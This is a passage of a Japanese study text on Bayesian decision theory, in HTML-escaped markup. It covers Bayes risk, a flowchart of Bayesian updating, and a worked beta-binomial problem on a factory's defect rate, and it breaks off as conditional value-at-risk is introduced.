&lt;div&gt;&lt;span&gt;a^*(y) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;arg&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;min_&lt;/span&gt;&lt;span&gt;{a &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;in &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{A}} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta} L(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, a) \, p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y)\, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;事前分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)$&lt;/span&gt;&lt;span&gt; に対する事前期待損失は&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;r(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Theta} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;int_&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathcal&lt;/span&gt;&lt;span&gt;{Y}} L(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta(y)) \, p(y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) \, dy \, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) \, d&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;で与えられ、最小ベイズリスクを達成する意思決定規則 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;delta^*$&lt;/span&gt;&lt;span&gt; が最適とされる。シミュレーション工学では、モデルパラメータの不確実性を陽に扱い、意思決定をロバスト化する目的で用いられる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### ベイズ更新の詳細プロセス&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**図2: ベイズ更新の詳細プロセス**&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TB&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "事前情報"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A[事前分布πθ&amp;lt;br/&amp;gt;Prior Distribution&amp;lt;br/&amp;gt;パラメータθの不確実性] --&amp;gt; D[ベイズ更新]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "データの観測"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B[観測データy&amp;lt;br/&amp;gt;Observed Data&amp;lt;br/&amp;gt;y = y₁,y₂,...,yₙ] --&amp;gt; D&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        B --&amp;gt; E[尤度関数&amp;lt;br/&amp;gt;py given θ&amp;lt;br/&amp;gt;Likelihood Function]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "ベイズ更新"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        D --&amp;gt; F[ベイズの定理&amp;lt;br/&amp;gt;pθ given y = py given θ πθ / py&amp;lt;br/&amp;gt;Bayes Theorem]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        A --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        E --&amp;gt; F&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        F --&amp;gt; G[事後分布pθ given y&amp;lt;br/&amp;gt;Posterior Distribution&amp;lt;br/&amp;gt;更新された不確実性]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "意思決定"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        G --&amp;gt; H[期待損失計算&amp;lt;br/&amp;gt;Expected Loss&amp;lt;br/&amp;gt;∫Lθ,a pθ given y dθ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        H --&amp;gt; I[最適行動a*&amp;lt;br/&amp;gt;Optimal Action&amp;lt;br/&amp;gt;a* = argmin Expected Loss]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        I --&amp;gt; J[ベイズリスク最小化&amp;lt;br/&amp;gt;Bayes Risk Minimization&amp;lt;br/&amp;gt;rπ,δ* = min]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    subgraph "結果の解釈"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        J --&amp;gt; K[不確実性を考慮した&amp;lt;br/&amp;gt;ロバストな意思決定&amp;lt;br/&amp;gt;Robust Decision Making]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    end&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 問題②　ベイズ更新の計算&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 問題文&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ある工場の不良品率 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta$&lt;/span&gt;&lt;span&gt; について、事前分布としてベータ分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; を仮定する。すなわち：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;)}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;}, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;quad &lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;leq &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;9&lt;/span&gt;&lt;span&gt;! = &lt;/span&gt;&lt;span&gt;362&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;880&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;! = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;Gamma(&lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;! = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;040&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt; である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;この工場で100個の製品を検査したところ、5個の不良品が見つかった。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;1.&lt;/span&gt;&lt;span&gt; 事後分布のパラメータを求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;2.&lt;/span&gt;&lt;span&gt; 事後分布の平均（事後期待値）を求めよ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;3.&lt;/span&gt;&lt;span&gt; 事前分布の平均と比較せよ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 解答&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 1. 事後分布のパラメータ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**ベータ分布の共役性**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベータ分布は二項分布の共役事前分布である。すなわち、事前分布がベータ分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta)$&lt;/span&gt;&lt;span&gt; で、尤度が二項分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Binomial}(n, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)$&lt;/span&gt;&lt;span&gt; の場合、事後分布もベータ分布となる。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベイズの定理より：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;propto p(y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 事前分布：$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;pi(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;propto &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}$&lt;/span&gt;&lt;span&gt;（ベータ分布）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 尤度：$&lt;/span&gt;&lt;span&gt;p(y &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;binom&lt;/span&gt;&lt;span&gt;{n}{s} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^s (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{n-s}$&lt;/span&gt;&lt;span&gt;（二項分布）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;begin&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y) &amp;amp;&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;propto &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^s (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{n-s} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;cdot &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}(&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} \\&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;&amp;amp;= &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha+s-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;} (&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta)^{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta+n-s-&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;end&lt;/span&gt;&lt;span&gt;{aligned}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これはベータ分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha + s, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta + n - s)$&lt;/span&gt;&lt;span&gt; の形である。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;**本問題への適用**&lt;/span&gt;&lt;span&gt;：&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 事前分布: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;span&gt; より $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta = &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; 観測データ: $&lt;/span&gt;&lt;span&gt;n = &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、不良品数 $&lt;/span&gt;&lt;span&gt;s = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;したがって、事後分布は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;p(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y) &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;sim &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;100&lt;/span&gt;&lt;span&gt; - &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt;) = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;103&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 2. 事後分布の平均&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベータ分布 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha, &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta)$&lt;/span&gt;&lt;span&gt; の平均は $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha}{&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;alpha + &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;beta}$&lt;/span&gt;&lt;span&gt; であるから：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;103&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;110&lt;/span&gt;&lt;span&gt;} &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0636&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 3. 事前分布の平均との比較&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;事前分布の平均は：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta] = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + &lt;/span&gt;&lt;span&gt;8&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;span&gt;} = &lt;/span&gt;&lt;span&gt;0.2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 答え&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**事後分布**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;text&lt;/span&gt;&lt;span&gt;{Beta}(&lt;/span&gt;&lt;span&gt;7&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;103&lt;/span&gt;&lt;span&gt;)$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**事後期待値**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mid y] &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;approx &lt;/span&gt;&lt;span&gt;0.0636&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（約6.36%）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;**事前期待値**&lt;/span&gt;&lt;span&gt;: $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;mathbb&lt;/span&gt;&lt;span&gt;{E}[&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;theta] = &lt;/span&gt;&lt;span&gt;0.2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;（20%）&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 検証&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;観測データにより、不良品率の推定値は事前の20%から事後の約6.36%に更新された。これは、実際の検査結果（100個中5個の不良品、実測不良品率5%）が事前の期待値（20%）より低かったため、事後分布がより低い値にシフトしたことを示している。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ベイズ更新により、事前情報と観測データを統合した、より正確な推定が可能となった。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### リスク測度と条件付きリスク値&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;期待効用では捉えきれない尾部リスクを扱うため、凸リスク測度 $&lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;rho(X)$&lt;/span&gt;&lt;span&gt; を導入する。代表例として条件付きバリュー・アット・リスク（CVaR）がある：&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
